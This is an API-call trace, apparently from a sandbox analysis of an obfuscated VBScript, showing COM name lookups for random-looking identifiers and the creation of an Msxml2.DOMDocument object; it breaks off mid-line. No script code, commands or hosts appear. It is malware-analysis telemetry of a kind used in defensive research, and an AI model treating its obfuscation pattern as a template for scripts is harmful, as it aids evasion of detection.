0x0 [0065.725] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="clswfoiwghuo", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0065.725] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="clswfoiwghuo", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0065.725] GetCurrentThreadId () returned 0xd44 [0065.725] IUnknown:Release (This=0x1197760) returned 0x5 [0065.727] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0065.728] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="aaax", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0065.728] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="aaax", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0065.728] GetCurrentThreadId () returned 0xd44 [0065.728] IUnknown:Release (This=0x1197760) returned 0x5 [0065.728] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0065.728] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="dfgdfgdfgd", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0065.728] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="dfgdfgdfgd", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0065.728] GetCurrentThreadId () returned 0xd44 [0065.729] IUnknown:Release (This=0x1197760) returned 0x5 [0065.729] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0065.730] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="wss", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0065.730] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="wss", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0065.730] GetCurrentThreadId () returned 0xd44 [0065.730] IUnknown:Release (This=0x1197760) returned 0x5 [0065.731] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0065.731] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="letters", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0065.731] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="letters", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0065.731] GetCurrentThreadId () returned 0xd44 [0065.731] IUnknown:Release (This=0x1197760) returned 0x5 [0065.731] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0065.731] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="virto", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0065.731] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="virto", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0065.731] GetCurrentThreadId () returned 0xd44 [0065.731] IUnknown:Release (This=0x1197760) returned 0x5 [0065.732] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0065.732] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="ywrjjjjjjjjjjjjwty", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0065.732] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="ywrjjjjjjjjjjjjwty", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0065.732] GetCurrentThreadId () returned 0xd44 [0065.732] IUnknown:Release (This=0x1197760) returned 0x5 [0065.732] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0065.732] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="pioeig", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0065.732] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="pioeig", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0065.732] GetCurrentThreadId () returned 0xd44 [0065.732] IUnknown:Release (This=0x1197760) returned 0x5 [0065.733] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0065.733] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="pisj", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0065.733] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="pisj", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0065.733] GetCurrentThreadId () returned 0xd44 [0065.733] IUnknown:Release (This=0x1197760) returned 0x5 [0065.734] ??2@YAPAXI@Z () returned 0x86a0b90 [0065.734] malloc (_Size=0x804) returned 0x8790008 [0065.734] ??2@YAPAXI@Z () returned 0x8460768 [0065.734] ??3@YAXPAX@Z () returned 0x1 [0065.734] malloc (_Size=0x40) returned 0x11977f0 [0065.735] malloc (_Size=0x234) returned 0x1198b50 [0065.735] ??2@YAPAXI@Z () returned 0x1129260 [0065.735] free (_Block=0x83d08e0) [0065.735] free (_Block=0x8790008) [0065.735] ??3@YAXPAX@Z () returned 0x6e0001 [0065.735] free (_Block=0x1198748) [0065.735] free (_Block=0x11977f0) [0065.735] free (_Block=0x8790818) [0065.735] free (_Block=0x83d71e0) [0065.735] ??2@YAPAXI@Z () returned 0x86a0b90 [0065.735] ??2@YAPAXI@Z () returned 0x83fd5e8 [0065.735] IUnknown:AddRef (This=0x1197760) returned 0x6 [0065.735] IUnknown:AddRef (This=0x1197760) returned 0x7 [0065.736] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0065.736] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="t676fttf754vb4xfg6yxygbyu67rfgibgfbnfr7", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0065.736] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="t676fttf754vb4xfg6yxygbyu67rfgibgfbnfr7", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0065.736] GetCurrentThreadId () returned 0xd44 [0065.736] IUnknown:Release (This=0x1197760) returned 0x7 [0065.736] ??2@YAPAXI@Z () returned 0x838c598 [0065.736] GetCurrentThreadId () returned 0xd44 [0065.736] ??2@YAPAXI@Z () returned 0x1105c40 [0065.736] malloc (_Size=0x40) returned 0x11977f0 [0065.736] malloc (_Size=0x104) returned 0x83d71e0 [0065.737] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0065.737] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0065.737] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0065.737] GetCurrentThreadId () returned 0xd44 [0065.737] IUnknown:Release (This=0x1197760) returned 0x7 [0065.737] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0065.737] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="cvbnm", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0065.737] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="cvbnm", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0065.737] GetCurrentThreadId () returned 0xd44 [0065.737] IUnknown:Release (This=0x1197760) returned 0x7 [0065.737] malloc (_Size=0x204) returned 0x1198748 [0065.737] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0065.738] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="soswjwslvc", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0065.738] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="soswjwslvc", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0065.738] GetCurrentThreadId () returned 0xd44 [0065.738] IUnknown:Release (This=0x1197760) returned 0x7 [0065.738] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0065.738] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0065.738] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0065.738] GetCurrentThreadId () returned 0xd44 [0065.738] IUnknown:Release (This=0x1197760) returned 0x7 [0065.738] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0065.738] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vposaleusaogr", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0065.738] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vposaleusaogr", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0065.738] GetCurrentThreadId () returned 0xd44 [0065.739] IUnknown:Release (This=0x1197760) returned 0x7 [0065.740] ??2@YAPAXI@Z () returned 0x86a0bc0 [0065.740] malloc (_Size=0x804) returned 0x8790008 [0065.740] ??2@YAPAXI@Z () returned 0x1198d90 [0065.740] ??3@YAXPAX@Z () returned 0x1 [0065.740] malloc (_Size=0x40) returned 0x1197838 [0065.740] malloc (_Size=0x1c8) returned 0x11c7d90 [0065.740] ??2@YAPAXI@Z () returned 0x11291c0 [0065.740] free (_Block=0x83d08e0) [0065.740] free (_Block=0x8790008) [0065.740] ??3@YAXPAX@Z () returned 0x740001 [0065.741] free (_Block=0x1197838) [0065.741] free (_Block=0x8790818) [0065.741] free (_Block=0x8460768) [0065.741] ??2@YAPAXI@Z () returned 0x86a0bc0 [0065.741] ??2@YAPAXI@Z () returned 0x83fd610 [0065.742] IUnknown:AddRef (This=0x1197760) returned 0x8 [0065.742] CLSIDFromProgIDEx (in: lpszProgID="Msxml2.DOMDocument", lpclsid=0x14bb3c | out: lpclsid=0x14bb3c*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4))) returned 0x0 [0065.752] SysStringLen (param_1=0x0) returned 0x0 [0065.752] GetProcAddress (hModule=0x763d0000, lpProcName="CoGetClassObject") returned 0x764054ad [0065.752] CoGetClassObject (in: rclsid=0x14bb3c*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x14bb2c | out: ppv=0x14bb2c*=0x72b7d4b8) returned 0x0 [0066.685] DOMDocument:IUnknown:QueryInterface (in: This=0x72b7d4b8, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x14bb28 | out: ppvObject=0x14bb28*=0x0) returned 0x80004002 [0066.735] DOMDocument:IClassFactory:CreateInstance (in: This=0x72b7d4b8, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bb30 | out: ppvObject=0x14bb30*=0x553a10) returned 0x0 [0066.737] DOMDocument:IUnknown:AddRef (This=0x72b7d4b8) returned 0x1 [0066.737] DOMDocument:IUnknown:QueryInterface (in: This=0x553a10, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14baf4 | out: ppvObject=0x14baf4*=0x553a3c) returned 0x0 [0066.737] ??2@YAPAXI@Z () returned 0x1112a88 [0066.737] DOMDocument:IObjectWithSite:SetSite (This=0x553a3c, pUnkSite=0x1112a88) returned 0x0 [0066.738] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b9a8 | out: ppvObject=0x14b9a8*=0x0) returned 0x80004002 [0066.738] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b998 | out: ppvObject=0x14b998*=0x0) returned 0x80004002 [0066.738] DOMDocument:IUnknown:AddRef (This=0x1112a88) returned 0x2 [0066.738] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x72b7c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ba58 | out: ppvObject=0x14ba58*=0x1112a88) returned 0x0 [0066.738] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a9b8 | out: ppvObject=0x14a9b8*=0x1112a88) returned 0x0 [0066.738] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a98c | out: ppvObject=0x14a98c*=0x0) returned 0x80004002 [0066.738] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a920 | out: ppvObject=0x14a920*=0x83fd480) returned 0x0 [0066.738] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a91c | out: ppvObject=0x14a91c*=0x83fd490) returned 0x0 [0066.738] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a98c | out: ppvObject=0x14a98c*=0x0) returned 0x80004002 [0066.738] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x5 [0066.738] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x4 [0066.738] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14a994 | out: ppvObject=0x14a994*=0x0) returned 0x80004002 [0066.738] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a920 | out: ppvObject=0x14a920*=0x83fd480) returned 0x0 [0066.738] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a91c | out: ppvObject=0x14a91c*=0x83fd490) returned 0x0 [0066.738] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14a994 | out: ppvObject=0x14a994*=0x0) returned 0x80004002 [0066.738] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x5 [0066.738] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x4 [0066.738] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0066.738] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a920 | out: ppvObject=0x14a920*=0x83fd480) returned 0x0 [0066.738] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a91c | out: ppvObject=0x14a91c*=0x83fd490) returned 0x0 [0066.738] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0066.739] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x5 [0066.739] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x4 [0066.739] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0066.739] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a920 | out: ppvObject=0x14a920*=0x83fd480) returned 0x0 [0066.739] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a91c | out: ppvObject=0x14a91c*=0x83fd490) returned 0x0 [0066.739] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0066.739] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x5 [0066.739] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x4 [0066.739] DOMDocument:IUnknown:Release (This=0x1112a88) returned 0x3 [0066.739] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x14a9c0 | out: ppvObject=0x14a9c0*=0x0) returned 0x80004002 [0066.739] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x72b9da58*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a9a8 | out: ppvObject=0x14a9a8*=0x0) returned 0x80004002 [0066.739] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a9c4 | out: ppvObject=0x14a9c4*=0x1112a88) returned 0x0 [0066.739] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a9b0 | out: ppvObject=0x14a9b0*=0x0) returned 0x80004002 [0066.739] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a978 | out: ppvObject=0x14a978*=0x83fd480) returned 0x0 [0066.739] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, 